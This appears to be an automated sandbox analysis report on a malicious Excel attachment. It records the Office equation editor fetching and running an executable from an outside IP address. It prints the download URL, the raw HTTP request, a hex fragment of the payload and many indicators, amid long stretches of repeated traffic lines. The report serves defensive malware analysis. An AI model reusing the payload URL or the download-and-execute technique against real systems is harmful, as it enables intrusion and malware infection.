Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Source: global traffic TCP traffic: 172.245.34.91:80 -> 192.168.2.22:49173
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 172.245.34.91:80
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Nov 2022 07:13:05 GMTServer: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.33Last-Modified: Tue, 29 Nov 2022 05:24:03 GMTETag: "74a68-5ee95323a363c"Accept-Ranges: bytesContent-Length: 477800Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 e8 81 e9 50 86 d2 e9 50 86 d2 e9 50 86 d2 2a 5f d9 d2 eb 50 86 d2 e9 50 87 d2 4f 50 86 d2 2a 5f db d2 e6 50 86 d2 bd 73 b6 d2 e3 50 86 d2 2e 56 80 d2 e8 50 86 d2 52 69 63 68 e9 50 86 d2 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 38 ca 4d 58 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 62 00 00 00 2a 02 00 00 08 00 00 4a 34 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 70 09 00 00 04 00 00 17 86 07 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 e0 06 00 68 88 02 00 00 00 00 00 00 00 00 00 10 35 07 00 58 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f1 61 00 00 00 10 00 00 00 62 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a4 13 00 00 00 80 00 00 00 14 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 03 02 00 00 a0 00 00 00 06 00 00 00 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 30 04 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 68 88 02 00 00 e0 06 00 00 8a 02 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /5643/VBC.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.34.91Connection: Keep-Alive
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035406CF URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035406CF
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: unknown TCP traffic detected without corresponding DNS query: 172.245.34.91
Source: EQNEDT32.EXE, 00000002.00000002.973436340.00000000006B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.comS equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.973436340.00000000006B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.973393132.000000000065F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://172.245.34.91/5643/VBC.exe
Source: EQNEDT32.EXE, 00000002.00000002.973393132.000000000065F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://172.245.34.91/5643/VBC.exehhC:
Source: EQNEDT32.EXE, 00000002.00000002.973646300.0000000003540000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://172.245.34.91/5643/VBC.exej
Source: EQNEDT32.EXE, 00000002.00000002.973393132.000000000065F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://172.245.34.91/5643/VBC.exel
Source: vbc.exe, 00000005.00000000.972752433.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe, 00000005.00000002.1185344377.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, VBC[1].exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: EQNEDT32.EXE, 00000002.00000002.973393132.000000000065F000.00000004.00000020.00020000.00000000.sdmp, vbc.exe.2.dr, VBC[1].exe.2.dr String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: vbc.exe.2.dr, VBC[1].exe.2.dr String found in binary or memory: http://s.symcd.com06
Source: vbc.exe.2.dr, VBC[1].exe.2.dr String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: EQNEDT32.EXE, 00000002.00000002.973393132.000000000065F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-ts
Source: vbc.exe.2.dr, VBC[1].exe.2.dr String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: EQNEDT32.EXE, 00000002.00000002.973393132.000000000065F000.00000004.00000020.00020000.00000000.sdmp, vbc.exe.2.dr, VBC[1].exe.2.dr String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: EQNEDT32.EXE, 00000002.00000002.973393132.000000000065F000.00000004.00000020.00020000.00000000.sdmp, vbc.exe.2.dr, VBC[1].exe.2.dr String found in binary or memory: https://d.symcb.com/cps0%
Source: EQNEDT32.EXE, 00000002.00000002.973393132.000000000065F000.00000004.00000020.00020000.00000000.sdmp, vbc.exe.2.dr, VBC[1].exe.2.dr String found in binary or memory: https://d.symcb.com/rpa0
Source: EQNEDT32.EXE, 00000002.00000002.973393132.000000000065F000.00000004.00000020.00020000.00000000.sdmp, vbc.exe.2.dr, VBC[1].exe.2.dr String found in binary or memory: https://d.symcb.com/rpa0.
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4A546E2A.emf Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035406CF URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035406CF
Source: global traffic HTTP traffic detected: GET /5643/VBC.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.34.91Connection: Keep-Alive
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 5_2_004054B0 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 5_2_004054B0

System Summary
barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: document is protected 18 19 20 21 22 23 Open the document in If thiS document was n :' h~
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\VBC[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 5_2_0040344A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 5_2_0040344A
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 5_2_00404CED 5_2_00404CED
Source: C:\Users\Public\vbc.exe Code function: 5_2_004068DA 5_2_004068DA
Abnormal high CPU Usage
Source: C:\Users\Public\vbc.exe Process Stats: CPU usage > 98%
Document contains embedded VBA macros
Source: ACP-2210825ORDER.xls OLE indicator, VBA macros: true
Source: ~DF688530565CAD41F4.TMP.0.dr OLE indicator, VBA macros: true
PE file contains more sections than normal
Source: libgiognutls.dll.5.dr Static PE information: Number of sections : 11 > 10
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: ACP-2210825ORDER.xls Virustotal: Detection: 26%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
